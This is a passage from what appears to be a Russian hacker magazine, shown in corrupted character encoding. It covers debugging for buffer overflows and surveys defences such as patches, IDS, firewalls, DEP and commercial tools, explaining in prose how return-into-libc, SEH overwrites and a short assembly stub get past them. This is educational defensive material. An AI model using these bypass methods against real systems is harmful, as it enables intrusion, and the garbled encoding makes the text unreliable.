ðèáóòàìè ñòðàíèö. Ïåðåâîäÿ ñòðàíèöó
â ñîñòîÿíèå NO_ACCESS, ìû áóäåì îò-
ëàâëèâàòü âñå îáðàùåíèÿ ê íåé (â
òîì ÷èñëå è ïîäîïûòíîìó áóôåðó). Åñ-
òåñòâåííî, åñëè ðàçìåð áóôåðà ìíîãî
ìåíüøå ðàçìåðà ñòðàíèöû (êàê èçâå-
ñòíî, îí ñîñòàâëÿåò 4 Êá), íàì ïðèäåò-
ñÿ êàæäûé ðàç ðàçáèðàòüñÿ, ê êàêîé
èìåííî ïåðåìåííîé ïðîèçîøëî îáðà-
ùåíèå. Ïðè æåëàíèè ýòîò ïðîöåññ
ìîæíî ïîëíîñòüþ èëè ÷àñòè÷íî àâòî-
ìàòèçèðîâàòü (èìååòñÿ ìíîæåñòâî

ïðèìî÷åê ê Soft-ice, ïîääåðæèâàþùèõ
ðàçâèòûå ñêðèïòîâûå ÿçûêè).

Âîò òàê äûðû è èùóòñÿ! Ìèíèìóì
òâîð÷åñòâà, ìàêñèìóì ðóòèíû�
Ñòðåëüáû è ãîíîê ïî ïåðåñå÷åííîé ïî-
âåðõíîñòè çäåñü òîæå íåò. Òåì íå ìå-
íåå, ñèäåòü â îòëàä÷èêå íàìíîãî êðó-
÷å, ÷åì ñìîòðåòü "Ìàòðèöó" (êñòàòè,
íèêòî íå çíàåò, ãäå íàéòè îðèãèíàëü-
íóþ âåðñèþ òðåòüåé ÷àñòè, íå èçóâå-
÷åííóþ ïåðåâîäîì?) èëè àïãðåéäèòü
êîìïüþòåð äëÿ èãðû â DOOM 3.

ÇÀÊËÞ×ÅÍÈÅ
Óñïåõ îïåðàöèè âî ìíîãîì çàâè-

ñèò íå òîëüêî îò îïûòà âçëîìùèêà, íî
è ïðîñòðàíñòâåííîé îðèåíòàöèè ìîíè-
òîðà, ãåîìåòðèè ìûøè è ñòåïåíè ïî-
òåðòîñòè êëàâèàòóðû, à ïîïðîñòó ãîâî-
ðÿ, îò ñòåïåíè âåçó÷åñòè. Ïîãîâàðèâà-
þò, ÷òî ìûøè è íîâûå êëàâèàòóðû
ïðèíîñÿò íåñ÷àñòüå: â ñàìûé îòâåò-
ñòâåííûé ìîìåíò êóðñîð ïðûãàåò íåì-
íîãî íå òóäà è ïåðåïîëíÿþùèéñÿ áó-
ôåð îñòàåòñÿ íåçàìå÷åííûì� E

Øïèîíàæ çà äèñêîâûìè îïåðàöèÿìè ñ ïîìîùüþ óòèëèòû DiskMon îò Ìàðêà Ðóññèíîâè÷à

Soft-ice, çàïóùåííûé ïîä VMWare



Èëüÿ Ðàáèíîâè÷

Ì íîãèå ëþäè çàäàâàëè ýòîò âîïðîñ ñåáå è îêðóæàþùèì. Î÷åíü âîçìîæíî, ÷òî íå ðàç. Äà, çàùèòèòüñÿ îò àòàêè íà
ïåðåïîëíåíèå áóôåðà î÷åíü òÿæåëî. Ïðåæäå âñåãî ïîòîìó, ÷òî ýòîò êëàññ àòàê ìàëî ôîðìàëèçîâàí è êðàéíå

èçîùðåí. Íî, òåì íå ìåíåå, åñëè åñòü ìå÷, òî äîëæåí áûòü è ùèò!

ÇÀÙÈÒÈ ÑÂÎÈ
ÏÐÈËÎÆÅÍÈß
ÊÀÊ ÇÀÙÈÒÈÒÜÑß ÎÒ ÀÒÀÊÈ ÍÀ ÏÅÐÅÏÎËÍÅÍÈÅ ÁÓÔÅÐÀ

ÙÈÒ ¹1: ÏÀÒ×È ÎÒ
ÏÐÎÈÇÂÎÄÈÒÅËß

Óíèâåðñàëüíûé ìå-
òîä. Åñëè íåò äûðû,
íåò è àòàêè íà íåå.

Ïðîáëåìà ñîñòîèò òîëüêî â òðåõ âå-
ùàõ. Ïåðâîå: èíîãäà ïîñëå óñòàíîâêè
ïàò÷à íåêîòîðûå ïðîãðàììû íà÷èíà-
þò ðàáîòàòü íåïðàâèëüíî. Ñîîòâåò-
ñòâåííî, ïàò÷è íóæäàþòñÿ â ïðåäâà-
ðèòåëüíîì òåñòèðîâàíèè, òðåáóþùåì
âðåìåíè. Âòîðîå: áûâàåò òàê, ÷òî ïàò-
÷è çàêðûâàþò äûðó ëèøü ÷àñòè÷íî.
Òðåòüå: ïàò÷è âûïóñêàþòñÿ ñ áîëü-
øèì (ïî êîìïüþòåðíûì ìåðêàì)
îïîçäàíèåì. Ïðîèçâîäèòåëþ íóæíî
âðåìÿ íà òî, ÷òîáû âîñïðîèçâåñòè
ñèòóàöèþ ó ñåáÿ â òåñòîâîé ëàáîðà-
òîðèè, ïåðåïèñàòü êîä, ñäåëàòü ïàò÷,
ïðîâåðèòü ýòîò ïàò÷ íà ñîâìåñòè-
ìîñòü ñî ñâîèìè ïðîãðàììàìè è ïðîã-
ðàììàìè ñòîðîííèõ ïðîèçâîäèòåëåé.
À ïîêà ýòà ðàáîòà èäåò, ïîëüçîâà-
òåëü îñòàåòñÿ áåççàùèòíûì. À íà
ñêîëüêèõ äûðêàõ íåò ïàò÷åé, ïîòîìó
÷òî ïðîèçâîäèòåëü î íèõ äàæå íå äî-
ãàäûâàåòñÿ?

ÙÈÒ ¹2: ÑÈÑÒÅÌÛ
ÎÁÍÀÐÓÆÅÍÈß ÂÒÎÐÆÅÍÈß
(INTRUSION DETECTION
SYSTEM, IDS)

Çà ýòèì íàçâàíèåì ñêðûâàþòñÿ
ïðîãðàììû, ïðîâîäÿùèå ãëóáîêèé
ñèãíàòóðíûé àíàëèç ñåòåâûõ ïàêåòîâ
íà èçâåñòíûå ñèãíàòóðû øåëë-êîäîâ.
Åñëè ïðè ýòîì àíàëèçå áóäåò íàéäåíà
ñèãíàòóðà, ñîîòâåòñòâóþùàÿ ñèãíàòó-
ðå èçâåñòíîãî øåëë-êîäà, ïàêåò áóäåò
çàáëîêèðîâàí è àòàêà íå äîñòèãíåò
öåëè. Ñàìàÿ èçâåñòíàÿ ïîäîáíàÿ ñèñ-
òåìà ðàñïðîñòðàíÿåòñÿ êàê Open
Source è íàçûâàåòñÿ Snort. Ýòà ñèñòå-
ìà î÷åíü ðàñïðîñòðàíåíà è ïîïóëÿð-
íà, ê íåé ñóùåñòâóåò ãèãàíòñêîå êîëè-
÷åñòâî ñèãíàòóð øåëë-êîäîâ, íàïè-
ñàííûõ ýíòóçèàñòàìè è ñèñòåìíûìè
àäìèíèñòðàòîðàìè.

Íåäîñòàòêè ïîäîáíûõ ñèñòåì î÷å-
âèäíû. Ê íèì îòíîñÿòñÿ äîñòàòî÷íî
áîëüøîå êîëè÷åñòâî ëîæíûõ ñðàáà-
òûâàíèé è íåñïîñîáíîñòü îïðåäåëÿòü
òå ïåðåäàâàåìûå ïî Ñåòè øåëë-êîäû,
êîòîðûå íå èçâåñòíû ñèñòåìå. Áîëåå

òîãî, ïîñêîëüêó ÷àñòî øåëë-êîäû ïå-
ðåäàþòñÿ â çàøèôðîâàííîì âèäå,
ñòîèò ñìåíèòü àëãîðèòì øèôðîâàíèÿ
äàæå ó âñåì èçâåñòíîãî øåëë-êîäà, è
ñèñòåìû IDS óæå ïåðåñòàþò äåòåêòè-
ðîâàòü åãî. Íàñêîëüêî ÿ çíàþ, âåäóò-
ñÿ ðàáîòû íàä òåì, ÷òîáû IDS ìîãëè
ðàñøèôðîâûâàòü ïîòåíöèàëüíûå
øåëë-êîäû íà ëåòó, íî ìíå ñëàáî âå-
ðèòñÿ, ÷òî â áëèæàéøåå âðåìÿ îíè
áóäóò ñïîñîáíû íà ýòî. Êîðî÷å ãîâî-
ðÿ, ïîçàèìñòâîâàâ òåõíîëîãèþ ó àí-
òèâèðóñîâ, IDS ïîçàèìñòâîâàëè è èõ
íåäîñòàòêè, ïðèáàâèâ ê íèì è ñâîè
ñîáñòâåííûå. Êîíå÷íî, î÷åíü êðàñè-
âî ñ òî÷êè çðåíèÿ ìàðêåòèíãà, ÷òî
êàæäûé ðàç, êîãäà IDS ëîâèò ïàêåòû c
Lovesan, âûâîäèòñÿ êðàñèâîå îêî-
øå÷êî: "Íàøà IDS çàùèòèëà Âàñ îò
ñòðàøíîãî è îïàñíîãî âèðóñà
Lovesan". Âî-ïåðâûõ, òàêîå îêîøå÷êî,
âûñêàêèâàþùåå êàæäûå ïÿòü ìèíóò,
óæå ÷åðåç äâàäöàòü ïðèâîäèò â ñîñ-
òîÿíèå íåðâíîãî ñðûâà, à âî-âòîðûõ,
êàêîå ðåàëüíîå çíà÷åíèå îíî èìååò
íà ïîëíîñòüþ ïðîïàò÷åííîé ñèñòåìå,
íå ïîäâåðæåííîé äàííîé àòàêå? À
ïðè öåëåíàïðàâëåííîé àòàêå íà ïå-
ðåïîëíåíèå íåèçâåñòíûì äëÿ IDS
øåëë-êîäîì îêîøå÷êî òàê è íå âûñ-
êî÷èò...

ÙÈÒ ¹3: ÔÀÉÐÂÎË
Ðàáîòàåò ïî ïðèíöèïó "Åñëè îòðó-

áèòü ãîëîâó, òî è íàñìîðêà íå áóäåò".

Äåéñòâèòåëüíî, åñëè ñåòåâûå ïàêåòû
ñ âðåäîíîñíûì êîäîì íå ñìîãóò ïðîé-
òè ê óÿçâèìîìó ïðèëîæåíèþ ÷åðåç
îòêëþ÷åííûé ñ ïîìîùüþ ôàéðâîëà
ïîðò, òî áóôåð íå áóäåò ïåðåïîëíåí è
àòàêà íå ñîñòîèòñÿ. Ïðàâäà,
«çàôàéðâîëåííîå» ïðèëîæåíèå
ôàêòè÷åñêè ïåðåñòàíåò ðàáîòàòü Ìíî-
ãî ëè «íàñåðôèøü» â èíòåðíåòå, åñëè
ôàéðâîëîì îòêëþ÷åí 80-é (HTTP)
ïîðò? Äóìàþ, íåò. À àòàê íà ïåðåïîë-
íåíèå áóôåðà ïîä Internet Explorer íà
ìîåé ïàìÿòè áûëî ìíîãî - îò çíàìåíè-
òîé "óÿçâèìîñòè â êàðòèíêàõ" (ïåðå-
ïîëíåíèå áóôåðà ïðè ðåíäåðèíãå
JPEG-èçîáðàæåíèé) äî óÿçâèìîñòè â
îáðàáîò÷èêå IFrame-ññûëîê. Îòêëþ÷à-
åì 80-é ïîðò?

ÙÈÒ ¹4: NX/XD-ÁÈÒ
ÏÐÎÖÅÑÑÎÐÀ, ÒÅÕÍÎËÎÃÈß
DEP ÎÒ MICROSOFT

×òî æå ïðåäñòàâëÿåò ñîáîé ýòîò
øèðîêî ðàçðåêëàìèðîâàííûé áèò?
Âñå î÷åíü ïðîñòî. NX - àááðåâèàòóðà
îò Non-Executable. Áèò íåèñïîëíÿå-
ìîñòè ïðîöåññîðà. Êàê èçâåñòíî,
øåëë-êîä âíóòðè ïðèëîæåíèÿ èìååò
âïîëíå îïðåäåëåííîå ïîëîæåíèå -
ýòî ñòåê, êó÷à èëè (î÷åíü-î÷åíü ðåä-
êî) ñòàòè÷åñêàÿ ïàìÿòü âíóòðè ñåêöèè
äàííûõ ïðèëîæåíèÿ. Åñëè ìû çàïðå-
ùàåì âûïîëíåíèå êîäà âíóòðè ýòèõ
îáëàñòåé ïàìÿòè (ìåòèì èõ NX-áèòîì),
òî ïðè ïîïûòêå âûïîëíèòü øåëë-êîä â
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ïîìå÷åííûõ îáëàñòÿõ ïàìÿòè ìû ïî-
ëó÷èì èñêëþ÷åíèå çàùèòû. Âñå ïðîñ-
òî è ãåíèàëüíî. Àòàêà íà ïåðåïîëíå-
íèå íå ïðîõîäèò. 

Èìåííî íà îñíîâå NX/XD-áèòà è
ïîñòðîåíà òåõíîëîãèÿ DEP îò
Microsoft, âñòðîåííàÿ â îïåðàöèîííûå
ñèñòåìû Windows XP SP2 è Windows
2003 SP1. Òàêæå òåõíîëîãèÿ DEP
âêëþ÷àåò â ñåáÿ êîíòðîëü öåëîñòíîñ-
òè ñòåêà è êó÷è íà îñíîâå ïðîâåðî÷-
íûõ äàííûõ è êîíòðîëü öåïî÷êè SEH.
À òåïåðü - ïî ïîðÿäêó. 
1. Âíóòðè èñïîëíÿåìûõ ïðîöåññîâ

âñå îáëàñòè äàííûõ ìåòÿòñÿ NX-áè-
òîì, ÷òî çàïðåùàåò èñïîëíåíèå êîäà
â íèõ. Â ñëó÷àå ïîïûòêè âûïîëíèòü
êîä â ýòèõ îáëàñòÿõ ïàìÿòè âûëåòàåò
èñêëþ÷åíèå è ïðèëîæåíèå çàêàí÷èâà-
åò ñâîþ ðàáîòó. Åñëè æå ïðîöåññîð íå
ïîääåðæèâàåò NX/XD-áèò, òî êîä ìîæ-
íî âûïîëíÿòü â ëþáîé äîñòóïíîé îá-
ëàñòè ïàìÿòè ïðîöåññà.
2. Êîíòðîëü öåëîñòíîñòè ñòåêà

ïðåäñòàâëÿåò ñîáîé ïðèìåíåíèå ñòà-
ðîé äîáðîé òåõíîëîãèè StackGuard,
ðåàëèçîâàííîé äëÿ Linux. Ïðè âõîäå
â ôóíêöèþ â ñòåê çàïèõèâàåòñÿ íåêî-
òîðîå ïðîâåðî÷íîå ÷èñëî. Ïðè âûõî-
äå èç ôóíêöèè òî ÷èñëî, êîòîðîå ëå-
æèò â ñòåêå, ñðàâíèâàåòñÿ ñ ýòàëîí-
íûì. Åñëè ýòè ÷èñëà íå ñîâïàäàþò,
çíà÷èò, áûëî ïåðåïîëíåíèå. Â ýòîì
ñëó÷àå ãåíåðèðóåòñÿ èñêëþ÷åíèå çà-
ùèòû è ïðèëîæåíèå çàêàí÷èâàåò
ñâîþ ðàáîòó. Ýòà âîçìîæíîñòü çàëî-

æåíà â êîìïèëÿòîðû Microsoft íà÷è-
íàÿ ñ VC 2003 (äèðåêòèâà êîìïèëÿòî-
ðà /GS, âêëþ÷åíà äëÿ âñåõ ïðîåêòîâ
ïî óìîë÷àíèþ). 

Ñ êó÷åé ïðîèñõîäèò ïðèìåðíî òà æå
âåùü: â íà÷àëî êàæäîãî áëîêà êó÷è
îïåðàöèîííàÿ ñèñòåìà ïîìåùàåò ïðî-
âåðî÷íûå äàííûå. Åñëè ïðè âûäåëå-
íèè íîâîãî áëîêà èëè ïðè îñâîáîæäå-
íèè ñòàðîãî ãäå-òî âíóòðè öåïî÷êè
áëîêîâ ïðîâåðî÷íûå äàííûå íå ñîø-
ëèñü, ãåíåðèðóåòñÿ èñêëþ÷åíèå çàùè-
òû. Ýòî íå ñâîéñòâî êîìïèëÿòîðà, êàê
â ïðåäûäóùåì ñëó÷àå, à ñâîéñòâî
îïåðàöèîííîé ñèñòåìû!
3. Êîíòðîëü öåëîñòíîñòè öåïî÷êè

SEH. Â îáùèõ ñëîâàõ, SEH - ýòî ïîñëå-
äîâàòåëüíîñòü îáðàáîò÷èêîâ èñêëþ-
÷åíèé ïðèëîæåíèÿ. Ó êàæäîãî ïîòîêà
âíóòðè ïðèëîæåíèÿ ñâîÿ öåïî÷êà
SEH! Åñëè â ïîòîêå ïðîèñõîäèò èñêëþ-
÷åíèå, òî ñèñòåìà ïîñëåäîâàòåëüíî
âûçûâàåò âñå îáðàáîò÷èêè, îæèäàÿ,
÷òî õîòü îäèí èç íèõ ñïðàâèòñÿ ñ íèì.
Åñëè æå íè îäèí èç îáðàáîò÷èêîâ èñê-
ëþ÷åíèé íå ñìîã îáðàáîòàòü åãî, òî
âûçûâàåòñÿ îáðàáîò÷èê èñêëþ÷åíèé,
îáùèé äëÿ âñåõ ïîòîêîâ
(UnhandledExceptionFilter). Åñëè æå è
îí áåññèëåí, òî ñèñòåìå íè÷åãî äðóãî-
ãî íå îñòàåòñÿ, êàê ïîêàçàòü ñîîáùå-
íèå "Âàø êîâðèê îò ìûøêè âûïîëíèë
íåäîïóñòèìóþ îïåðàöèþ è áóäåò ñâåð-
íóò..." è çàâåðøèòü äàííîå ïðèëîæå-
íèå. Òàê âîò, âîçâðàùàÿñü ê êîíòðîëþ.
Ïðè íàëè÷èè èñêëþ÷åíèÿ â ïîòîêå

ñèñòåìà ïðîâåðÿåò, íå ëåæàò ëè àäðå-
ñà îáðàáîò÷èêîâ èñêëþ÷åíèé âíóòðè
êó÷è èëè ñòåêà. Åñëè ëåæàò, ñèñòåìà
ãåíåðèðóåò èñêëþ÷åíèå çàùèòû.

È âðîäå áû âñå õîðîøî, âñå âîçìîæ-
íûå ïóòè ïðîíèêíîâåíèÿ â ñèñòåìó
ïåðåêðûòû. Òàê-òî îíî òàê, íî íå ñîâ-
ñåì. Èñòîðè÷åñêè ïðåäòå÷è NX-áèòà
ïîÿâèëèñü íà RISC-ïðîöåññîðàõ
íåIntell'îâñêîé àðõèòåêòóðû. Äëÿ íèõ
æå âïåðâûå áûëè ñîçäàíû ïàò÷è íà
îïåðàöèîííûå ñèñòåìû, ïîääåðæèâà-
þùèå ðàçãðàíè÷åíèå íà èñïîëíåíèå
êîäà âíóòðè àäðåñíîãî ïðîñòðàíñòâà
ïðîöåññà. È èìåííî äëÿ íèõ ïîÿâè-
ëèñü ïåðâûå "return-into-libc"-
ýêñïëîéòû çà àâòîðñòâîì Solar
Desiner'à. Âñå ãåíèàëüíîå ïðîñòî. Åñ-
ëè ìû óãàäûâàåì àäðåñ ñèñòåìíîé
ôóíêöèè, îòâå÷àþùåé çà çàùèòó
ñòðàíèö (îðèãèíàëüíî èñïîëíÿåìûå
ñòðàíèöû ìîäóëåé çàùèùåíû îò çà-
ïèñè â íèõ), è àäðåñ ôóíêöèè êîïèðî-
âàíèÿ ïàìÿòè èç îäíîãî ìåñòà â äðó-
ãîå, ìû ìîæåì ñêîìïîíîâàòü äàííûå
ïðè ïåðåïîëíåíèè òàê, ÷òî ïðè ïåðå-
äà÷å óïðàâëåíèÿ ïåðâîé åãî ïîëó÷èò
ôóíêöèÿ, îòâå÷àþùàÿ çà çàùèòó
ñòðàíèö ñ ïàðàìåòðàìè, êîòîðûå ïîç-
âîëÿò ëèáî îòêëþ÷èòü çàùèòó îò çà-
ïèñè â êîäîâóþ ÷àñòü ìîäóëåé, ëèáî
ïîñòàâèòü àòðèáóò "èñïîëíÿåìûé" äëÿ
êàêîé-íèáóäü îáëàñòè ïàìÿòè. Ïîñëå
ýòîãî óïðàâëåíèå ïîëó÷àåò ôóíêöèÿ
êîïèðîâàíèÿ ñ ïàðàìåòðàìè êîïèðî-
âàíèÿ íàøåãî øåëë-êîäà â óæå ïîäãî-
òîâëåííóþ äëÿ èñïîëíåíèÿ îáëàñòü.
Ñëåäóþùàÿ ÷àñòü Ìàðëåçîíñêîãî áà-
ëåòà: óïðàâëåíèå ïåðåõîäèò íà íàø
ñêîïèðîâàííûé øåëë-êîä â èñïîëíÿå-
ìîé îáëàñòè ïàìÿòè. Êàê âèäèøü, äëÿ
ðåàëèçàöèè äàííîãî âèäà àòàêè íåîá-
õîäèìî: à) çíàòü àäðåñà ôóíêöèé; á)
çíàòü ñâîé àäðåñ; â) ïåðåõèòðèòü ïðî-
âåðêè ñòåêà. È òóò âûÿñíÿåòñÿ, ÷òî ðå-
àëèçîâàòü ýòè óñëîâèÿ äîñòàòî÷íî
ëåãêî! Âñå íåîáõîäèìûå ôóíêöèè äëÿ
êîïèðîâàíèÿ ïàìÿòè è óïðàâëåíèÿ ïà-
ðàìåòðàìè çàùèòû ñòðàíèöû ðåàëèçî-
âàíû â ìîäóëå kernel32.dll, áàçà çàã-
ðóçêè êîòîðîãî íåèçìåííà. Ìíîãî óãà-
äûâàòü íå ïðèäåòñÿ. Ñâîé àäðåñ ìû
ìîæåì òàêæå ïðèìåðíî çíàòü, âáðà-
ñûâàÿ, íàïðèìåð, áîëüøèå ïîðöèè
äàííûõ 0x90 (êîìàíäà nop) è øåëë-
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Ìàéêðîñîôò î DEP. Êîíå÷íî, íà ÿçûêå Øåêñïèðà

Ëèíóêñîèäû î StackGuard'å Öåëûé íîìåð Ñïåöà, ïîñâÿùåííûé ïåðåïîëíåíèþ áóôåðà! 



êîäîì â êîíöå. À ïåðåõèòðèòü ïðîâåð-
êó öåëîñòíîñòè ñòåêà ìîæíî òàêèì îá-
ðàçîì: ìû ïåðåïîëíÿåì áóôåð áîëü-
øèì ïàêåòîì äàííûõ òàê, ÷òîáû ïåðå-
ïèñàòü áëèæàéøèé àäðåñ îáðàáîò÷è-
êà èñêëþ÷åíèé SEH íå ïðîñòî, à ÷òî-
áû îí íà÷àë óêàçûâàòü âíóòðü êàêîãî-
íèáóäü ìîäóëÿ íà íóæíóþ íàì ïîñëå-
äîâàòåëüíîñòü îïêîäîâ. Íàïðèìåð,
add esp,XXX, ret. Òåïåðü, ïðè âûõîäå
èõ ôóíêöèè, áóôåð âíóòðè êîòîðîé
ìû ïåðåïîëíèëè, îáû÷íî ñíà÷àëà âû-
ïîëíÿåòñÿ âîññòàíîâëåíèå èç ñòåêà
ñîõðàíåííûõ ðåãèñòðîâ, ïîñëå ÷åãî
èäåò ïðîâåðêà öåëîñòíîñòè ñòåêà. È
òóò âûÿñíÿåòñÿ, ÷òî áûëî ïåðåïîëíå-
íèå. SOS! Âûáðàñûâàåòñÿ èñêëþ÷åíèå,
êîòîðîå ëîâèò � ïðàâèëüíî! - óæå íàø
îáðàáîò÷èê SEH. Èíñòðóêöèÿ add
esp,XXX î÷èñòèò ñòåê îò òåõ äàííûõ,
êîòîðûå òóäà âáðîñèëà ñèñòåìà ïðè
âûçîâå îáðàáîò÷èêà â öåïî÷êå SEH, à
èíñòðóêöèÿ ret ïåðåäàñò óïðàâëåíèå
ïî íóæíîìó íàì àäðåñó, êîòîðûé ìû
óæå çàáîòëèâî ïîëîæèëè â ñòåêå. Öå-
ïî÷êà "return-into-libc" óñïåøíî âû-
ïîëíåíà! Çàùèòà ðóõíóëà! Òàê ÷òî íå
áûâàåò íåïðîáèâàåìûõ çàùèò - áûâà-
þò òîëüêî ïëîõî èçó÷åííûå. Íóæíî
ó÷èòüñÿ, è òîãäà íèêàêàÿ çàùèòà íå
óñòîèò ïåðåä òîáîé. Îïèñàííûé ïðè-
ìåð ëèøü ó÷åáíûé, ïîëåò ôàíòàçèè
ïðè ïðîåêòèðîâàíèè øåëë-êîäîâ íå
îãðàíè÷åí íè÷åì. 

Êñòàòè, ïî óìîë÷àíèþ DEP âêëþ÷åí
òîëüêî äëÿ êîìïîíåíòîâ îïåðàöèîí-
íîé ñèñòåìû. Äëÿ ïðîãðàìì ñòîðîííèõ
ðàçðàáîò÷èêîâ îí âûêëþ÷åí! Ïî÷å-
ìó? Äà ïîòîìó ÷òî îãðîìíîå êîëè÷å-
ñòâî ïðîãðàìì âûïîëíÿþò ñâîé êîä â
êó÷å èëè ñòåêå, è ÷àñòî äàæå áåç âå-
äîìà ñàìèõ ðàçðàáîò÷èêîâ! Êàê òàêîå
ìîæåò áûòü? Î÷åíü ïðîñòî! Ïðè ñàá-
êëàññèíãå áèáëèîòåêà ATL ïîìåùàåò
ñïåöèàëüíóþ ôóíêöèþ-ïåðåõîäíèê â
êó÷ó èëè ñòåê è ñòàâèò íà íåå àäðåñ
îáðàáîò÷èêà îêîííîé ôóíêöèè. Â èòî-
ãå ïðè ëþáîì âûçîâå îêîííîé ôóíê-
öèè, ïåðåõâà÷åííîé òàêèì îáðàçîì,
ñíà÷àëà âûçûâàåòñÿ ïåðåõîäíèê â êó-
÷å èëè ñòåêå, êîòîðûé, â ñâîþ î÷å-
ðåäü, âûçûâàåò îáðàáîò÷èê îêîííîé
ôóíêöèè, óæå íàïèñàííûé ðàçðàáîò-
÷èêîì. È òàêèõ ïðîãðàìì äîâîëüíî
ìíîãî (íàâñêèäêó, èç èçâåñòíûõ -
VMWare). 

Åñëè æå ïðîöåññîð íå îáëàäàåò
NX/XD-áèòîì, òî òóò äåëî ñîâñåì ïëî-
õî: êàê âñå òîëüêî ÷òî óáåäèëèñü, çà-
ùèòà îò ïåðåïîëíåíèÿ áóôåðà îò
Microsoft òÿíåò õîòü íà ÷òî-òî òîëüêî
ïðè íàëè÷èè NX/XD-áèòà. Áåç íåãî
ïðåäûäóùèé ïðèìåð áûë áû åùå ïðî-
ùå è "return-into-libc"-òåõíîëîãèè áû-
ëè áû íå íóæíû. Ñòàâèì îáðàáîò÷èê
îøèáîê SEH íà çàðàíåå íàéäåííóþ
èíñòðóêöèþ jmp [esp+8]-, è øåëë-êîä
çàøóðøàë ñâîèìè áàéòèêàìè è îïêî-
äàìè â îáõîä âñåõ çàùèò. È îòñþäà
ñëåäóåò....

ÙÈÒ ¹5: ÇÀÙÈÒÀ ÎÒ
ÑÒÎÐÎÍÍÈÕ ÐÀÇÐÀÁÎÒ×ÈÊÎÂ

Ðàññìîòðèì íàèáîëåå èçâåñòíûå
ïðîäóêòû - DefencePlus, Cisco Security
Agent, StackDefender, OverflowGuard -
â îáðàòíîì ïîðÿäêå (ïî âîçðàñòàíèþ
óðîâíÿ ñëîæíîñòè ïðîãðàìì ïîðÿäîê
èìåííî òàêîé). 

OverflowGuard çàùèùàåò òîëüêî
ñåðâèñû Microsoft Windows. Çàùèòà
ñòðîèòñÿ íà íåèñïîëíÿåìîñòè ñòåêà è
êó÷è. Ïðàâäà, â îòñóòñòâèå NX/XD-áè-
òà ýòà íåèñïîëíÿåìîñòü äîñòàåòñÿ äî-
ðîãî - öåíîé ïðîèçâîäèòåëüíîñòè ñèñ-
òåìû. Èìåííî ïîýòîìó OverflowGuard
çàùèùàåò òîëüêî ñåðâèñû: ÷åì ìåíü-
øå çàùèùàåìûõ ïðèëîæåíèé, òåì
ìåíüøå ïàäåíèå ïðîèçâîäèòåëüíîñ-
òè. Çàùèòà äåêëàðèðóåòñÿ îò return-
into-libc, íî ïðîâåðèòü ýòî íà ïðàêòèêå
î÷åíü òÿæåëî. Ïðîãíàòü òåñòû íà ñîô-
òå, êîòîðûé çàùèùàåò ñèñòåìó ÒÀÊ,
ïðàêòè÷åñêè íåðåàëüíî. Êðîìå òîãî,
åñëè ó÷åñòü, ÷òî àêöåíòû àòàê íà ïå-
ðåïîëíåíèå áóôåðà ñåãîäíÿ ñìåùà-
þòñÿ â ñòîðîíó ïðîãðàìì íå îò
Microsoft, ýòà ïðîãðàììà âîîáùå íè îò
÷åãî, ñîáñòâåííî, íå çàùèùàåò.

Cisco Security Agent áàçèðóåòñÿ íà
ïåðåõâàòå âûçîâîâ ôóíêöèé, òî åñòü
åñëè íàø øåëë-êîä âûçûâàåò ôóíê-
öèþ StartService, ýòîò âûçîâ áóäåò ïå-
ðåõâà÷åí îáðàáîò÷èêîì îò Cisco è
ïðîàíàëèçèðîâàí íà àäðåñ âîçâðàòà
èç ôóíêöèè. Ýòîò àäðåñ äîëæåí ëå-

æàòü âíóòðè ìîäóëÿ, è ïåðåä íèì
äîëæíà áûòü èíñòðóêöèÿ call [÷òî-íè-
áóäü] èëè jmp [÷òî-íèáóäü].

Ýòè ïðîâåðêè îáõîäÿòñÿ òàêæå ýëå-
ìåíòàðíî. Äîñòàòî÷íî ïðè âûçîâå
ôóíêöèé, ïåðåõâà÷åííûõ CSA, ïîäñ-
òàâëÿòü íå ñâîé àäðåñ âîçâðàòà, à àä-
ðåñ êîíñòðóêöèè:

call [íåâàæíî_÷òî]/jmp [íåâàæíî_÷òî]
fake_addr: <-ýòîò àäðåñ ìû ïîäñòàâëÿåì êàê àäðåñ âîçâðàòà!
çäåñü êàêîé-òî êîä, êîòîðûé íå áóäåò ìåøàòü íàì ïî-
ëó÷èòü ðåçóëüòàò
ret. <-à çäåñü â ñòåêå äîëæåí îêàçàòüñÿ íàø ðåàëüíûé
àäðåñ âîçâðàòà!

StackDefender â ñâîåé îáû÷íîé ìî-
äèôèêàöèè (åñòü åùå Server Edition)
òàêæå áàçèðóåòñÿ íà çàùèòå íà îñíî-
âå íåèñïîëíÿåìûõ ñòåêà è êó÷è äëÿ
áàçîâûõ ñåðâèñîâ îïåðàöèîííîé ñèñ-
òåìû è íà ïåðåõâàòå âûçîâîâ ôóíê-
öèé äëÿ âñåõ ïðèëîæåíèé (â òîì ÷èñ-
ëå äëÿ ñåðâèñîâ). Êðîìå òîãî, ïðîã-
ðàììà èçìåíÿåò áàçîâûé àäðåñ äëÿ
ìîäóëÿ kernel32.dll, íî íå ðàíäîìèçè-
ðóåò ýòó áàçó ïðè êàæäîé ïåðåçàãðóç-
êå, òî åñòü ïðè êàæäîé ïåðåçàãðóçêå
îíà õîòü è ñìåùåíà îòíîñèòåëüíî
ñòàíäàðòíîé, íî íå ìåíÿåòñÿ ïðè ýòîì.

Âñå ýòè ïðîãðàììû â ñëó÷àå îáíàðó-
æåíèÿ àòàêè çàâåðøàþò âåñü ïðîöåññ
öåëèêîì, è äëÿ çàùèòû, íàïðèìåð,
web- è ftp-ñåðâåðîâ îíè íåïðèãîäíû.

DefencePlus áàçèðóåòñÿ òàêæå íà
òåõíîëîãèè íåèñïîëíÿåìîñòè ñòåêà è
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Íåèäåàëüíûé Cisco Security Agent

Softsphere.com � êà÷àåì è íàñëàæäàåìñÿ ðàçíûìè âåðñèÿìè DefencePlus



êó÷è, íî ýòà òåõíîëîãèÿ óíèêàëüíà
òåì, ÷òî ïðàêòè÷åñêè íå ïðèâîäèò ê
ïàäåíèþ ïðîèçâîäèòåëüíîñòè çàùè-
ùàåìîé ñèñòåìû, ïîýòîìó çàùèùàþò-
ñÿ âñå ïðîöåññû â ñèñòåìå. 

Äëÿ ñîâìåñòèìîñòè ñ ïðîãðàììàìè,
âûïîëíÿþùèìè ñâîé êîä â êó÷å èëè
ñòåêå (à èõ íåìàëî), ó ïðîãðàììû åñòü
÷åòûðå óðîâíÿ çàùèòû, êîòîðûå ïîç-
âîëÿþò äîáèòüñÿ ìàêñèìàëüíîé ñîâ-
ìåñòèìîñòè ñ óæå íàïèñàííûì ÏÎ. Ïî
óìîë÷àíèþ âñå ïðîöåññû çàùèùàþò-
ñÿ òàê, ÷òî ñòåê íåèñïîëíÿåì, à êó÷à
èñïîëíÿåìà. Â ýòîì ñëó÷àå çàùèòà êó-
